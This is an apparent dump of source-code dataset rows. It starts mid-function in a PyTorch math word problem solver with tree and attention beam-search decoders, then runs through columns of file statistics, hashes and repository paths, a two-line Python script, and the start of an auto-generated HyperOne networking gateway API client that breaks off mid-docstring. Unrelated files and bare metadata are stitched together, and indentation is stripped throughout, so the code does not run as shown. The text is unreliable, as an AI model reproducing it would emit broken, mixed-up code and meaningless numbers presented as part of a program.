max_num_pos_size = max(num_size_batch)
for i in range(len(num_pos_batch)):
temp = num_pos_batch[i] + [-1] * (max_num_pos_size - len(num_pos_batch[i]))
num_pos_pad.append(temp)
num_pos_pad = torch.LongTensor(num_pos_pad).to(self.device)
num_order_pad = []
max_num_order_size = max(num_size_batch)
for i in range(len(num_order_batch)):
temp = num_order_batch[i] + [0] * (max_num_order_size - len(num_order_batch[i]))
num_order_pad.append(temp)
num_order_pad = torch.LongTensor(num_order_pad).to(self.device)
num_stack1_batch = copy.deepcopy(num_stack_batch)
num_stack2_batch = copy.deepcopy(num_stack_batch)
#num_start2 = output2_lang.n_words - copy_nums - 2
#unk1 = output1_lang.word2index["UNK"]
#unk2 = output2_lang.word2index["UNK"]
# Turn padded arrays into (batch_size x max_len) tensors, transpose into (max_len x batch_size)
# input1_var = torch.LongTensor(input1_batch).transpose(0, 1)
# input2_var = torch.LongTensor(input2_batch).transpose(0, 1)
# target1 = torch.LongTensor(target1_batch).transpose(0, 1)
# target2 = torch.LongTensor(target2_batch).transpose(0, 1)
# input1_var = input1_var.transpose(0, 1)
# input2_var = input2_var.transpose(0, 1)
# target1 = target1.transpose(0, 1)
# target2 = target2.transpose(0, 1)
parse_graph_pad = parse_graph.long()
padding_hidden = torch.FloatTensor([0.0 for _ in range(self.hidden_size)]).unsqueeze(0).to(self.device)
batch_size = len(input_length)
encoder_outputs, encoder_hidden = self.encoder(input1_var, input2_var, input_length, parse_graph_pad)
copy_num_len = [len(_) for _ in num_pos_batch]
num_size = max(copy_num_len)
num_encoder_outputs, masked_index = self.get_all_number_encoder_outputs(encoder_outputs, num_pos_batch, num_size, self.hidden_size)
encoder_outputs, num_outputs, problem_output = self.numencoder(encoder_outputs, num_encoder_outputs, num_pos_pad, num_order_pad)
num_outputs = num_outputs.masked_fill_(masked_index.bool(), 0.0)
decoder_hidden = encoder_hidden[:self.n_layers] # Use last (forward) hidden state from encoder
all_output1 = self.evaluate_tree_double(encoder_outputs, problem_output, num_outputs, batch_size, padding_hidden, seq_mask, num_mask)
all_output2 = self.evaluate_attn_double(encoder_outputs, decoder_hidden, batch_size, seq_mask)
if all_output1.score >= all_output2.score:
output1 = self.convert_idx2symbol1(all_output1.out, num_list[0], copy_list(num_stack1_batch[0]))
targets1 = self.convert_idx2symbol1(target1[0], num_list[0], copy_list(num_stack1_batch[0]))
return "tree", output1, targets1
else:
output2 = self.convert_idx2symbol2(torch.tensor(all_output2.all_output).view(1, -1), num_list, copy_list(num_stack2_batch))
targets2 = self.convert_idx2symbol2(target2, num_list, copy_list(num_stack2_batch))
return "attn", output2, targets2
def train_tree_double(self, encoder_outputs, problem_output, all_nums_encoder_outputs, target, target_length, batch_size, padding_hidden, seq_mask, num_mask, num_pos, num_order_pad,
nums_stack_batch):
# Prepare input and output variables
node_stacks = [[TreeNode(_)] for _ in problem_output.split(1, dim=0)]
max_target_length = max(target_length)
all_node_outputs = []
embeddings_stacks = [[] for _ in range(batch_size)]
left_childs = [None for _ in range(batch_size)]
for t in range(max_target_length):
num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(node_stacks, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden, seq_mask,
num_mask)
# all_leafs.append(p_leaf)
outputs = torch.cat((op, num_score), 1)
all_node_outputs.append(outputs)
target_t, generate_input = self.generate_tree_input(target[:, t].tolist(), outputs, nums_stack_batch)
target[:, t] = target_t
# if USE_CUDA:
# generate_input = generate_input.cuda()
generate_input = generate_input.to(self.device)
left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)
left_childs = []
for idx, l, r, node_stack, i, o in zip(range(batch_size), left_child.split(1), right_child.split(1), node_stacks, target[:, t].tolist(), embeddings_stacks):
if len(node_stack) != 0:
node = node_stack.pop()
else:
left_childs.append(None)
continue
if i < self.num_start1:
node_stack.append(TreeNode(r))
node_stack.append(TreeNode(l, left_flag=True))
o.append(TreeEmbedding(node_label[idx].unsqueeze(0), False))
else:
current_num = current_nums_embeddings[idx, i - self.num_start1].unsqueeze(0)
while len(o) > 0 and o[-1].terminal:
sub_stree = o.pop()
op = o.pop()
current_num = self.merge(op.embedding, sub_stree.embedding, current_num)
o.append(TreeEmbedding(current_num, True))
if len(o) > 0 and o[-1].terminal:
left_childs.append(o[-1].embedding)
else:
left_childs.append(None)
# all_leafs = torch.stack(all_leafs, dim=1) # B x S x 2
all_node_outputs = torch.stack(all_node_outputs, dim=1) # B x S x N
return all_node_outputs, target
def train_attn_double(self, encoder_outputs, decoder_hidden, target, target_length, batch_size, seq_mask, nums_stack_batch):
max_target_length = max(target_length)
decoder_input = torch.LongTensor([self.sos2] * batch_size).to(self.device)
all_decoder_outputs = torch.zeros(batch_size, max_target_length, self.output2_size).to(self.device)
#all_decoder_outputs = []
seq_mask = torch.unsqueeze(seq_mask, dim=1)
# Move new Variables to CUDA
# if USE_CUDA:
# all_decoder_outputs = all_decoder_outputs.cuda()
if random.random() < self.teacher_force_ratio:
# if random.random() < 0:
# Run through decoder one time step at a time
#decoder_inputs = torch.cat([decoder_input.view(batch_size,1),target],dim=1)[:,:-1]
all_decoder_outputs = []
for t in range(max_target_length):
#decoder_inputs[:,t]=decoder_input
#decoder_input = decoder_inputs[:,t]
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask.squeeze(1))
#all_decoder_outputs[:,t,:] = decoder_output
all_decoder_outputs.append(decoder_output)
decoder_input = self.generate_decoder_input(target[:, t].tolist(), decoder_output, nums_stack_batch)
target[:, t] = decoder_input
all_decoder_outputs = torch.stack(all_decoder_outputs, dim=1)
else:
decoder_input = torch.LongTensor([self.sos2] * batch_size).to(self.device)
beam_list = list()
score = torch.zeros(batch_size).to(self.device)
# if USE_CUDA:
# score = score.cuda()
beam_list.append(Beam(score, decoder_input, decoder_hidden, all_decoder_outputs))
# Run through decoder one time step at a time
for t in range(max_target_length):
beam_len = len(beam_list)
beam_scores = torch.zeros(batch_size, self.output2_size * beam_len).to(self.device)
all_hidden = torch.zeros(decoder_hidden.size(0), batch_size * beam_len, decoder_hidden.size(2)).to(self.device)
all_outputs = torch.zeros(batch_size * beam_len, max_target_length, self.output2_size).to(self.device)
# if USE_CUDA:
# beam_scores = beam_scores.cuda()
# all_hidden = all_hidden.cuda()
# all_outputs = all_outputs.cuda()
for b_idx in range(len(beam_list)):
decoder_input = beam_list[b_idx].input_var
decoder_hidden = beam_list[b_idx].hidden
decoder_input = decoder_input.to(self.device)
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask.squeeze(1))
score = F.log_softmax(decoder_output, dim=1)
beam_score = beam_list[b_idx].score
beam_score = beam_score.unsqueeze(1)
repeat_dims = [1] * beam_score.dim()
repeat_dims[1] = score.size(1)
beam_score = beam_score.repeat(*repeat_dims)
score = score + beam_score
beam_scores[:, b_idx * self.output2_size:(b_idx + 1) * self.output2_size] = score
all_hidden[:, b_idx * batch_size:(b_idx + 1) * batch_size, :] = decoder_hidden
beam_list[b_idx].all_output[:, t, :] = decoder_output
all_outputs[batch_size * b_idx: batch_size * (b_idx + 1),:, :] = \
beam_list[b_idx].all_output
topv, topi = beam_scores.topk(self.beam_size, dim=1)
beam_list = list()
for k in range(self.beam_size):
temp_topk = topi[:, k]
temp_input = temp_topk % self.output2_size
temp_input = temp_input.data
temp_beam_pos = temp_topk // self.output2_size
indices = torch.LongTensor(range(batch_size)).to(self.device)
indices += temp_beam_pos * batch_size
temp_hidden = all_hidden.index_select(dim=1, index=indices)
temp_output = all_outputs.index_select(dim=0, index=indices)
beam_list.append(Beam(topv[:, k], temp_input, temp_hidden, temp_output))
all_decoder_outputs = beam_list[0].all_output
for t in range(max_target_length):
target[:, t] = self.generate_decoder_input(target[:, t].tolist(), all_decoder_outputs[:, t], nums_stack_batch)
return all_decoder_outputs, target
def evaluate_tree_double(self, encoder_outputs, problem_output, all_nums_encoder_outputs, batch_size, padding_hidden, seq_mask, num_mask):
# Prepare input and output variables
node_stacks = [[TreeNode(_)] for _ in problem_output.split(1, dim=0)]
#num_start = output_lang.num_start
# B x P x N
embeddings_stacks = [[] for _ in range(batch_size)]
left_childs = [None for _ in range(batch_size)]
beams = [TreeBeam(0.0, node_stacks, embeddings_stacks, left_childs, [])]
for t in range(self.max_out_len):
current_beams = []
while len(beams) > 0:
b = beams.pop()
if len(b.node_stack[0]) == 0:
current_beams.append(b)
continue
# left_childs = torch.stack(b.left_childs)
left_childs = b.left_childs
num_score, op, current_embeddings, current_context, current_nums_embeddings = self.predict(b.node_stack, left_childs, encoder_outputs, all_nums_encoder_outputs, padding_hidden,
seq_mask, num_mask)
out_score = nn.functional.log_softmax(torch.cat((op, num_score), dim=1), dim=1)
topv, topi = out_score.topk(self.beam_size)
for tv, ti in zip(topv.split(1, dim=1), topi.split(1, dim=1)):
current_node_stack = copy_list(b.node_stack)
current_left_childs = []
current_embeddings_stacks = copy_list(b.embedding_stack)
current_out = copy.deepcopy(b.out)
out_token = int(ti)
current_out.append(out_token)
node = current_node_stack[0].pop()
if out_token < self.num_start1:
generate_input = torch.LongTensor([out_token]).to(self.device)
# if USE_CUDA:
# generate_input = generate_input.cuda()
left_child, right_child, node_label = self.generate(current_embeddings, generate_input, current_context)
current_node_stack[0].append(TreeNode(right_child))
current_node_stack[0].append(TreeNode(left_child, left_flag=True))
current_embeddings_stacks[0].append(TreeEmbedding(node_label[0].unsqueeze(0), False))
else:
current_num = current_nums_embeddings[0, out_token - self.num_start1].unsqueeze(0)
while len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:
sub_stree = current_embeddings_stacks[0].pop()
op = current_embeddings_stacks[0].pop()
current_num = self.merge(op.embedding, sub_stree.embedding, current_num)
current_embeddings_stacks[0].append(TreeEmbedding(current_num, True))
if len(current_embeddings_stacks[0]) > 0 and current_embeddings_stacks[0][-1].terminal:
current_left_childs.append(current_embeddings_stacks[0][-1].embedding)
else:
current_left_childs.append(None)
current_beams.append(TreeBeam(b.score + float(tv), current_node_stack, current_embeddings_stacks, current_left_childs, current_out))
beams = sorted(current_beams, key=lambda x: x.score, reverse=True)
beams = beams[:self.beam_size]
flag = True
for b in beams:
if len(b.node_stack[0]) != 0:
flag = False
if flag:
break
return beams[0]
def evaluate_attn_double(self, encoder_outputs, decoder_hidden, batch_size, seq_mask):
# Create starting vectors for decoder
decoder_input = torch.LongTensor([self.sos2]).to(self.device) # SOS
beam_list = list()
score = 0
beam_list.append(Beam(score, decoder_input, decoder_hidden, []))
# Run through decoder
for di in range(self.max_out_len):
temp_list = list()
beam_len = len(beam_list)
for xb in beam_list:
if int(xb.input_var[0]) == self.eos2:
temp_list.append(xb)
beam_len -= 1
if beam_len == 0:
return beam_list[0]
beam_scores = torch.zeros(self.output2_size * beam_len).to(self.device)
hidden_size_0 = decoder_hidden.size(0)
hidden_size_2 = decoder_hidden.size(2)
all_hidden = torch.zeros(beam_len, hidden_size_0, 1, hidden_size_2).to(self.device)
all_outputs = []
current_idx = -1
for b_idx in range(len(beam_list)):
decoder_input = beam_list[b_idx].input_var
if int(decoder_input[0]) == self.eos2:
continue
current_idx += 1
decoder_hidden = beam_list[b_idx].hidden
decoder_output, decoder_hidden = self.decoder(decoder_input, decoder_hidden, encoder_outputs, seq_mask)
#decoder_output = self.out(decoder_output).squeeze(dim=1)
score = F.log_softmax(decoder_output, dim=1)
score += beam_list[b_idx].score
beam_scores[current_idx * self.output2_size:(current_idx + 1) * self.output2_size] = score
all_hidden[current_idx] = decoder_hidden
all_outputs.append(beam_list[b_idx].all_output)
topv, topi = beam_scores.topk(self.beam_size)
for k in range(self.beam_size):
word_n = int(topi[k])
word_input = word_n % self.output2_size
temp_input = torch.LongTensor([word_input]).to(self.device)
indices = int(word_n / self.output2_size)
temp_hidden = all_hidden[indices]
temp_output = all_outputs[indices] + [word_input]
temp_list.append(Beam(float(topv[k]), temp_input, temp_hidden, temp_output))
temp_list = sorted(temp_list, key=lambda x: x.score, reverse=True)
if len(temp_list) < self.beam_size:
beam_list = temp_list
else:
beam_list = temp_list[:self.beam_size]
return beam_list[0]
def get_all_number_encoder_outputs(self, encoder_outputs, num_pos, num_size, hidden_size):
indices = list()
sen_len = encoder_outputs.size(1)
batch_size = encoder_outputs.size(0)
masked_index = []
temp_1 = [1 for _ in range(hidden_size)]
temp_0 = [0 for _ in range(hidden_size)]
for b in range(batch_size):
for i in num_pos[b]:
if i == -1:
indices.append(0)
masked_index.append(temp_1)
continue
indices.append(i + b * sen_len)
masked_index.append(temp_0)
indices = indices + [0 for _ in range(len(num_pos[b]), num_size)]
masked_index = masked_index + [temp_1 for _ in range(len(num_pos[b]), num_size)]
# indices = torch.LongTensor(indices)
# masked_index = torch.ByteTensor(masked_index)
indices = torch.LongTensor(indices).to(self.device)
masked_index = torch.BoolTensor(masked_index).to(self.device)
masked_index = masked_index.view(batch_size, num_size, hidden_size)
all_outputs = encoder_outputs.transpose(0, 1).contiguous()
all_embedding = all_outputs.view(-1, encoder_outputs.size(2)) # S x B x H -> (B x S) x H
all_num = all_embedding.index_select(0, indices)
all_num = all_num.view(batch_size, num_size, hidden_size)
return all_num.masked_fill_(masked_index.bool(), 0.0), masked_index
def generate_tree_input(self, target, decoder_output, nums_stack_batch):
# when the decoder input is copied num but the num has two pos, chose the max
target_input = copy.deepcopy(target)
for i in range(len(target)):
if target[i] == self.unk1:
num_stack = nums_stack_batch[i].pop()
max_score = -float("1e12")
for num in num_stack:
if decoder_output[i, self.num_start1 + num] > max_score:
target[i] = num + self.num_start1
max_score = decoder_output[i, self.num_start1 + num]
if target_input[i] >= self.num_start1:
target_input[i] = 0
return torch.LongTensor(target), torch.LongTensor(target_input)
def generate_decoder_input(self, target, decoder_output, nums_stack_batch):
# when the decoder input is copied num but the num has two pos, chose the max
# if USE_CUDA:
# decoder_output = decoder_output.cpu()
target = torch.LongTensor(target).to(self.device)
for i in range(target.size(0)):
if target[i] == self.unk2:
num_stack = nums_stack_batch[i].pop()
max_score = -float("1e12")
for num in num_stack:
if decoder_output[i, self.num_start2 + num] > max_score:
target[i] = num + self.num_start2
max_score = decoder_output[i, self.num_start2 + num]
return target
def convert_idx2symbol1(self, output, num_list, num_stack):
#batch_size=output.size(0)
'''batch_size=1'''
seq_len = len(output)
num_len = len(num_list)
output_list = []
res = []
for s_i in range(seq_len):
idx = output[s_i]
if idx in [self.out_sos_token1, self.out_eos_token1, self.out_pad_token1]:
break
symbol = self.out_idx2symbol1[idx]
if "NUM" in symbol:
num_idx = self.mask_list.index(symbol)
if num_idx >= num_len:
res = []
break
res.append(num_list[num_idx])
elif symbol == SpecialTokens.UNK_TOKEN:
try:
pos_list = num_stack.pop()
c = num_list[pos_list[0]]
res.append(c)
except:
return None
else:
res.append(symbol)
output_list.append(res)
return output_list
def convert_idx2symbol2(self, output, num_list, num_stack):
batch_size = output.size(0)
seq_len = output.size(1)
output_list = []
for b_i in range(batch_size):
res = []
num_len = len(num_list[b_i])
for s_i in range(seq_len):
idx = output[b_i][s_i]
if idx in [self.out_sos_token2, self.out_eos_token2, self.out_pad_token2]:
break
symbol = self.out_idx2symbol2[idx]
if "NUM" in symbol:
num_idx = self.mask_list.index(symbol)
if num_idx >= num_len:
res.append(symbol)
else:
res.append(num_list[b_i][num_idx])
elif symbol == SpecialTokens.UNK_TOKEN:
try:
pos_list = num_stack[b_i].pop()
c = num_list[b_i][pos_list[0]]
res.append(c)
except:
res.append(symbol)
else:
res.append(symbol)
output_list.append(res)
return output_list
# def get_all_number_encoder_outputs(self,encoder_outputs, num_pos, num_size, hidden_size):
# indices = list()
# sen_len = encoder_outputs.size(1)
# batch_size=encoder_outputs.size(0)
# masked_index = []
# temp_1 = [1 for _ in range(hidden_size)]
# temp_0 = [0 for _ in range(hidden_size)]
# for b in range(batch_size):
# for i in num_pos[b]:
# indices.append(i + b * sen_len)
# masked_index.append(temp_0)
# indices += [0 for _ in range(len(num_pos[b]), num_size)]
# masked_index += [temp_1 for _ in range(len(num_pos[b]), num_size)]
# indices = torch.LongTensor(indices).to(self.device)
# masked_index = torch.BoolTensor(masked_index).to(self.device)
# masked_index = masked_index.view(batch_size, num_size, hidden_size)
# all_outputs = encoder_outputs.contiguous()
# all_embedding = all_outputs.view(-1, encoder_outputs.size(2)) # S x B x H -> (B x S) x H
# all_num = all_embedding.index_select(0, indices)
# all_num = all_num.view(batch_size, num_size, hidden_size)
# return all_num.masked_fill_(masked_index, 0.0)
# def replace_masked_values(tensor, mask, replace_with):
# return tensor.masked_fill((1 - mask).bool(), replace_with)
| 48.997503
| 200
| 0.596657
| 9,610
| 78,494
| 4.54204
| 0.037877
| 0.019382
| 0.01008
| 0.008064
| 0.919403
| 0.902289
| 0.883342
| 0.862998
| 0.835323
| 0.821852
| 0
| 0.01897
| 0.315005
| 78,494
| 1,601
| 201
| 49.028107
| 0.792832
| 0.103486
| 0
| 0.791496
| 0
| 0
| 0.011721
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.023712
| false
| 0
| 0.014718
| 0
| 0.069501
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
80f5ac873da71509a9094ad23782eb8d1fd5aeb3
| 47
|
py
|
Python
|
python/Intro/modules/test3.py
|
Joaxin/GitComments
|
7aa862f0ee892cbbc94b037395a6273b2654cbea
|
[
"MIT"
] | null | null | null |
python/Intro/modules/test3.py
|
Joaxin/GitComments
|
7aa862f0ee892cbbc94b037395a6273b2654cbea
|
[
"MIT"
] | 88
|
2019-10-31T12:30:02.000Z
|
2020-08-14T12:17:12.000Z
|
python/Intro/modules/test3.py
|
Joaxin/GitComments
|
7aa862f0ee892cbbc94b037395a6273b2654cbea
|
[
"MIT"
] | null | null | null |
from module3 import *
print(generate_code(10))
| 23.5
| 24
| 0.787234
| 7
| 47
| 5.142857
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.071429
| 0.106383
| 47
| 2
| 24
| 23.5
| 0.785714
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 7
|
80fd511ba92fa541b89cebbeaa78625c33e0aabf
| 89,365
|
py
|
Python
|
h1/api/networking_project_netgw_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
h1/api/networking_project_netgw_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
h1/api/networking_project_netgw_api.py
|
hyperonecom/h1-client-python
|
4ce355852ba3120ec1b8f509ab5894a5c08da730
|
[
"MIT"
] | null | null | null |
"""
HyperOne
HyperOne API # noqa: E501
The version of the OpenAPI document: 0.1.0
Generated by: https://openapi-generator.tech
"""
import re # noqa: F401
import sys # noqa: F401
from h1.api_client import ApiClient, Endpoint as _Endpoint
from h1.model_utils import ( # noqa: F401
check_allowed_values,
check_validations,
date,
datetime,
file_type,
none_type,
validate_and_convert_types
)
from h1.model.event import Event
from h1.model.inline_response400 import InlineResponse400
from h1.model.netgw import Netgw
from h1.model.networking_project_netgw_attach import NetworkingProjectNetgwAttach
from h1.model.networking_project_netgw_create import NetworkingProjectNetgwCreate
from h1.model.networking_project_netgw_update import NetworkingProjectNetgwUpdate
from h1.model.resource_service import ResourceService
from h1.model.tag import Tag
from h1.model.tag_array import TagArray
class NetworkingProjectNetgwApi(object):
"""NOTE: This class is auto generated by OpenAPI Generator
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def __networking_project_netgw_attach(
self,
project_id,
location_id,
netgw_id,
networking_project_netgw_attach,
**kwargs
):
"""Attach networking/netgw # noqa: E501
action attach # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_attach(project_id, location_id, netgw_id, networking_project_netgw_attach, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
networking_project_netgw_attach (NetworkingProjectNetgwAttach):
Keyword Args:
x_idempotency_key (str): Idempotency key. [optional]
x_dry_run (str): Dry run. [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Netgw
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
kwargs['networking_project_netgw_attach'] = \
networking_project_netgw_attach
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_attach = _Endpoint(
settings={
'response_type': (Netgw,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}/actions/attach',
'operation_id': 'networking_project_netgw_attach',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
'networking_project_netgw_attach',
'x_idempotency_key',
'x_dry_run',
],
'required': [
'project_id',
'location_id',
'netgw_id',
'networking_project_netgw_attach',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
'networking_project_netgw_attach':
(NetworkingProjectNetgwAttach,),
'x_idempotency_key':
(str,),
'x_dry_run':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
'x_idempotency_key': 'x-idempotency-key',
'x_dry_run': 'x-dry-run',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
'networking_project_netgw_attach': 'body',
'x_idempotency_key': 'header',
'x_dry_run': 'header',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client,
callable=__networking_project_netgw_attach
)
def __networking_project_netgw_create(
self,
project_id,
location_id,
networking_project_netgw_create,
**kwargs
):
"""Create networking/netgw # noqa: E501
Create netgw # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_create(project_id, location_id, networking_project_netgw_create, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
networking_project_netgw_create (NetworkingProjectNetgwCreate):
Keyword Args:
x_idempotency_key (str): Idempotency key. [optional]
x_dry_run (str): Dry run. [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
Netgw
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['networking_project_netgw_create'] = \
networking_project_netgw_create
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_create = _Endpoint(
settings={
'response_type': (Netgw,),
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw',
'operation_id': 'networking_project_netgw_create',
'http_method': 'POST',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'networking_project_netgw_create',
'x_idempotency_key',
'x_dry_run',
],
'required': [
'project_id',
'location_id',
'networking_project_netgw_create',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'networking_project_netgw_create':
(NetworkingProjectNetgwCreate,),
'x_idempotency_key':
(str,),
'x_dry_run':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'x_idempotency_key': 'x-idempotency-key',
'x_dry_run': 'x-dry-run',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'networking_project_netgw_create': 'body',
'x_idempotency_key': 'header',
'x_dry_run': 'header',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [
'application/json'
]
},
api_client=api_client,
callable=__networking_project_netgw_create
)
def __networking_project_netgw_delete(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""Delete networking/netgw # noqa: E501
Delete netgw # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_delete(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
async_req (bool): execute request asynchronously
Returns:
None
If the method is called asynchronously, returns the request
thread.
"""
kwargs['async_req'] = kwargs.get(
'async_req', False
)
kwargs['_return_http_data_only'] = kwargs.get(
'_return_http_data_only', True
)
kwargs['_preload_content'] = kwargs.get(
'_preload_content', True
)
kwargs['_request_timeout'] = kwargs.get(
'_request_timeout', None
)
kwargs['_check_input_type'] = kwargs.get(
'_check_input_type', True
)
kwargs['_check_return_type'] = kwargs.get(
'_check_return_type', True
)
kwargs['_host_index'] = kwargs.get('_host_index')
kwargs['project_id'] = \
project_id
kwargs['location_id'] = \
location_id
kwargs['netgw_id'] = \
netgw_id
return self.call_with_http_info(**kwargs)
self.networking_project_netgw_delete = _Endpoint(
settings={
'response_type': None,
'auth': [
'BearerAuth'
],
'endpoint_path': '/networking/{locationId}/project/{projectId}/netgw/{netgwId}',
'operation_id': 'networking_project_netgw_delete',
'http_method': 'DELETE',
'servers': None,
},
params_map={
'all': [
'project_id',
'location_id',
'netgw_id',
],
'required': [
'project_id',
'location_id',
'netgw_id',
],
'nullable': [
],
'enum': [
],
'validation': [
]
},
root_map={
'validations': {
},
'allowed_values': {
},
'openapi_types': {
'project_id':
(str,),
'location_id':
(str,),
'netgw_id':
(str,),
},
'attribute_map': {
'project_id': 'projectId',
'location_id': 'locationId',
'netgw_id': 'netgwId',
},
'location_map': {
'project_id': 'path',
'location_id': 'path',
'netgw_id': 'path',
},
'collection_format_map': {
}
},
headers_map={
'accept': [
'application/json'
],
'content_type': [],
},
api_client=api_client,
callable=__networking_project_netgw_delete
)
def __networking_project_netgw_detach(
self,
project_id,
location_id,
netgw_id,
**kwargs
):
"""Detach networking/netgw # noqa: E501
action detach # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.networking_project_netgw_detach(project_id, location_id, netgw_id, async_req=True)
>>> result = thread.get()
Args:
project_id (str): Project Id
location_id (str): Location Id
netgw_id (str): Netgw Id
Keyword Args:
x_idempotency_key (str): Idempotency key. [optional]
x_dry_run (str): Dry run. [optional]
_return_http_data_only (bool): response data without head status
code and headers. Default is True.
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (float/tuple): timeout setting for this request. If one
